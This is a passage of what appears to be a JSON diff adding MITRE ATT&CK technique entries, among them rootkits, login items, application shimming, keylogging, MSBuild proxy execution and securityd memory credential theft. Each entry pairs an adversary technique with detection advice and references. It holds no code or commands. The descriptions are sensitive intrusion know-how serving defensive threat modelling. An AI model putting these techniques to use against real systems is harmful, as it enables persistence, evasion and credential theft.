Required: Administrator, SYSTEM, root", + "value": "Rootkit - T1014", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1014", + "https://en.wikipedia.org/wiki/Rootkit", + "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf", + "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/", + "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf" + ], + "external_id": "T1014", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "BIOS", + "MBR", + "System calls" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b" + }, + { + "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \u2018Hide\u2019 the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware).\n\nDetection: All the login items are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area should be monitored and whitelisted for known good applications. Monitor process execution resulting from login actions for unusual or unknown applications.\n\nPlatforms: macOS\n\nPermissions Required: User", + "value": "Login Item - T1162", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1162", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf", + "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" + ], + "external_id": "T1162", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_platforms": [ + "macOS" + ] + }, + "uuid": "36675cd3-fe00-454c-8516-aebecacbe9d9" + }, + { + "description": "Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task).\n\nAdversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.\n\nDetection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: No", + "value": "Command-Line Interface - T1059", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1059", + "https://en.wikipedia.org/wiki/Command-line%20interface" + ], + "external_id": "T1059", + "kill_chain": [ + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "description": "Data exfiltration is performed over the Command and Control channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.\n\nDetection: Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring\n\nRequires Network: Yes", + "value": "Exfiltration Over Command and Control Channel - T1041", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1041", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "external_id": "T1041", + "kill_chain": [ + "mitre-attack:enterprise-attack:exfiltration" + ], + "mitre_data_sources": [ + "User interface", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "description": "An adversary may rely upon specific actions by a user in order to gain execution. This may be direct code execution, such as when a user opens a malicious executable delivered via Spearphishing Attachment with the icon and apparent extension of a document file. It also may lead to other execution techniques, such as when a user clicks on a link delivered via Spearphishing Link that leads to exploitation of a browser or application vulnerability via Exploitation for Client Execution. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it.\n\nDetection: Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to Deobfuscate/Decode Files or Information in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and execuited on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Anti-virus, Process command-line parameters, Process monitoring\n\nPermissions Required: User", + "value": "User Execution - T1204", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1204" + ], + "external_id": "T1204", + "kill_chain": [ + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "Anti-virus", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from Discovery of the system and network information or Lateral Movement to the originating process may also yield useful data.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Network device logs, Network protocol analysis, Packet capture, Process use of network\n\nRequires Network: Yes", + "value": "Multi-Stage Channels - T1104", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1104" + ], + "external_id": "T1104", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control" + ], + "mitre_data_sources": [ + "Netflow/Enclave netflow", + "Network device logs", + "Network protocol analysis", + "Packet capture", + "Process use of network" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91" + }, + { + "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)\n\nPlatforms: macOS\n\nData Sources: Process Monitoring\n\nPermissions Required: root", + "value": "Securityd Memory - T1167", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1167", + "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain", + "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", + "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + ], + "external_id": "T1167", + "kill_chain": [ + "mitre-attack:enterprise-attack:credential-access" + ], + "mitre_data_sources": [ + "Process Monitoring" + ], + "mitre_platforms": [ + "macOS" + ] + }, + "uuid": "2715c335-1bf2-4efe-9f18-0691317ff83b" + }, + { + "description": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.\n\nDetection: Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: File monitoring, Packet capture, Mail server, Network intrusion detection system, Detonation chamber, Email gateway", + "value": "Spearphishing Attachment - T1193", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1193" + ], + "external_id": "T1193", + "kill_chain": [ + "mitre-attack:enterprise-attack:initial-access" + ], + "mitre_data_sources": [ + "File monitoring", + "Packet capture", + "Mail server", + "Network intrusion detection system", + "Detonation chamber", + "Email gateway" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow backward compatibility of programs as Windows updates and changes its code. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Engame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses Hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to Hooking, utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.\n\nDetection: There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters\n\nPermissions Required: Administrator", + "value": "Application Shimming - T1138", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1138", + "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + ], + "external_id": "T1138", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Loaded DLLs", + "System calls", + "Windows Registry", + "Process Monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "7c93aa74-4bc0-4a9e-90ea-f25f86301566" + }, + { + "description": "Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Collection that include keylogging and user input field interception.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)\n\nKeylogging is likely to be used to acquire credentials for new access opportunities when Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.\n\nAdversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)\n\nDetection: Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsynceyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.\n\nMonitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: John Lambert, Microsoft Threat Intelligence Center", + "value": "Input Capture - T1056", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1056", + "http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/", + "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/" + ], + "external_id": "T1056", + "kill_chain": [ + "mitre-attack:enterprise-attack:collection", + "mitre-attack:enterprise-attack:credential-access" + ], + "mitre_data_sources": [ + "Windows Registry", + "Kernel drivers", + "Process monitoring", + "API monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "bb5a00de-e086-4859-a231-fa793f6797e2" + }, + { + "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\nDetection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith", + "value": "Regsvcs/Regasm - T1121", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1121", + "https://msdn.microsoft.com/en-us/library/04za0hca.aspx", + "https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx" + ], + "external_id": "T1121", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "215190a9-9f02-4e83-bb5f-e0589965a302" + }, + { + "description": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.\n\n===MSBuild===\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\n===DNX===\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)\n\n===RCSI===\n\nThe rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)\n\n===WinDbg/CDB===\n\nWinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\n===Tracker===\n\nThe file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking)\n\nAn adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: Twitter SubTee Tracker.exe)\n\nDetection: The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring\n\nDefense Bypassed: Application whitelisting\n\nPermissions Required: User\n\nSystem Requirements: MSBuild: .NET Framework version 4 or higher\nDNX: .NET 4.5.2, Powershell 4.0\nRCSI: .NET 4.5 or later, Visual Studio 2012\n\nRemote Support: No\n\nContributors: Casey Smith, Matthew Demaske, Adaptforward", + "value": "Trusted Developer Utilities - T1127", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1127", + "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html", + "https://msdn.microsoft.com/library/dd393574.aspx", + "https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index", + "https://docs.microsoft.com/visualstudio/msbuild/file-tracking", + "https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx", + "https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/", + "https://twitter.com/subTee/status/793151392185589760", + "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/", + "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/" + ], + "external_id": "T1127", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "ff25900d-76d5-449b-a351-8824e62fc81b" + }, + { + "description": "Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User", + "value": "System Network Configuration Discovery - T1016", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1016" + ], + "external_id": "T1016", + "kill_chain": [ + "mitre-attack:enterprise-attack:discovery" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "description": "Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security)\n\nAn adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.\n\nDetection: Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)\n\n*Event ID 106 - Scheduled task registered\n*Event ID 140 - Scheduled task updated\n*Event ID 141 - Scheduled task removed\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring, Windows event logs\n\nEffective Permissions: Administrator, SYSTEM, User\n\nPermissions Required: Administrator, SYSTEM, User\n\nRemote Support: Yes\n\nContributors: Travis Smith, Tripwire, Leo Loobeek, @leoloobeek, Alain Homewood, Insomnia Security", + "value": "Scheduled Task - T1053", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1053", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen", + "https://technet.microsoft.com/library/dd315590.aspx", + "https://technet.microsoft.com/en-us/library/cc785125.aspx", + "https://twitter.com/leoloobeek/status/939248813465853953" + ], + "external_id": "T1053", + "kill_chain": [ + "mitre-attack:enterprise-attack:execution", + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters", + "Process monitoring", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "description": "The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.\n\nDetection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator\n\nRemote Support: No", + "value": "Trap - T1154", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1154" + ], + "external_id": "T1154", + "kill_chain": [ + "mitre-attack:enterprise-attack:execution", + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ] + }, + "uuid": "b53dbcc6-147d-48bb-9df4-bcb8bb808ff6" + }, + { + "description": "Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)\n\nDetection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)\n\nPlatforms: Windows\n\nData Sources: Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication.\n\nRemote Support: Yes", + "value": "Windows Management Instrumentation - T1047", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1047", + "https://en.wikipedia.org/wiki/Server%20Message%20Block", + "https://technet.microsoft.com/en-us/library/cc787851.aspx", + "https://msdn.microsoft.com/en-us/library/aa394582.aspx", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + ], + "external_id": "T1047", + "kill_chain": [ + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "Authentication logs", + "Netflow/Enclave netflow", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "description": "Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternative Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 